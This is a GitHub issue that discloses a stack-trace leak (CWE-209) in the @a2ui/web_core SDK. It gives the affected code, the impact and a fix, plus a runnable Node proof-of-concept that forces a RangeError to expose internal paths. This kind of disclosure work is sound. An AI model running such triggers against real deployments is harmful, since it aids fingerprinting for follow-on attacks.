a2ui-project / a2ui-project/a2ui

[BUG]: Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`

Đang mở
#2,385 2 bình luận 0 reaction 1 người được giao Được @Varun-S10 nhận Xem trên GitHub
P2 status: first-line-handled status: needs review type: bug
Ngôn ngữ chính
TypeScript
Star
16.4k
Fork
1.3k
Merge trung bình
2 ngày 13 giờ
Pull request đã merge (30 ngày)
134

Mô tả

# Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)

## Summary

When a bound function call throws, `DataContext.dispatchExpressionError` handles `ZodError` and `A2uiExpressionError` specially, but for **any other** error it attaches `details: { stack: e.stack }` — the complete V8 stack, including internal source paths and line numbers of the SDK itself. `SurfaceModel.onError` (an EventEmitter) forwards these detail objects to every subscriber, so a server-driven binding that triggers a native error (e.g. `formatNumber` with `decimals: 200` raising `RangeError` from `Number.prototype.toFixed`) leaks the client's internal stack into whatever the host application logs or renders for surface errors.

## Affected code

- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `dispatchExpressionError` fallback branch sets `details: { stack: e.stack }` for non-Zod, non-`A2uiExpressionError` throws (npm dist `v0_9/rendering/data-context.js:267-274`)
- `SurfaceModel.onError` (EventEmitter) — dispatches `{…error, surfaceId}` to all subscribers

## Observed behavior (measured)

`formatNumber` bound with `decimals: 200` on a published-package surface; captured via `surface.onError`:

- 3 errors dispatched (initial resolution + re-fire after a data-model change)
- leaked stack frames include `at Number.toFixed ()` and the SDK-internal path of the reactivity layer (`…/web_core/…/signals.js:66`, batch write internals)

## Impact

An agent can, from a single message, cause internal file paths and SDK structure to be emitted through the application's error channel — version/structure fingerprinting that aids targeted follow-on attacks (e.g. choosing version-specific payloads). Information disclosure only.

## Suggested remediation

- Never attach `e.stack` to subscriber-visible error details; keep a generic message plus an error code, and log the stack through the host's configured logger at most.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f21.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0. (The script asserts the leak by checking that an emitted `details.stack` contains the `web_core` package path.)

```js
// poc_f21.mjs — F-21: stack-trace disclosure via dispatchExpressionError.
// The fallback branch of dispatchExpressionError puts the raw e.stack of any
// non-Zod, non-A2uiExpressionError exception into details:{stack:e.stack} and
// emits it through surface.onError. A malicious server triggers a generic JS
// exception inside a catalog function: formatNumber with decimals=200 →
// Number.prototype.toFixed(200) throws RangeError INSIDE execute(), past the
// try/catch guarding getNumberFormat. Confirmed if the emitted error carries
// details.stack containing the web_core source path.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';

const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);

processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 1 } },
{
version: 'v0.9',
updateComponents: {
surfaceId: 'poc',
components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{
id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'formatNumber', args: { value: { path: '/n' }, decimals: 200 } }, message: 'bad' }],
},
],
},
},
]);

const surface = processor.model.getSurface('poc');
const errors = [];
const sub = surface.onError.subscribe(e => errors.push(e));
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const bsub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 50));
surface.dataModel.set('/n', 2); // re-fire
await new Promise(r => setTimeout(r, 50));
bsub.unsubscribe(); binder.dispose(); sub.unsubscribe();

const stackLeak = errors.find(e => e.details && typeof e.details.stack === 'string' && e.details.stack.includes('web_core'));
const ok = !!stackLeak;
console.log(JSON.stringify({
finding: 'F-21-stack-trace-disclosure',
errors_dispatched: errors.length,
leaked_stack_path: stackLeak ? stackLeak.details.stack.split('\n')[1].trim().slice(0, 80) : null,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Đánh giá

Issue này chưa được đánh giá.

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.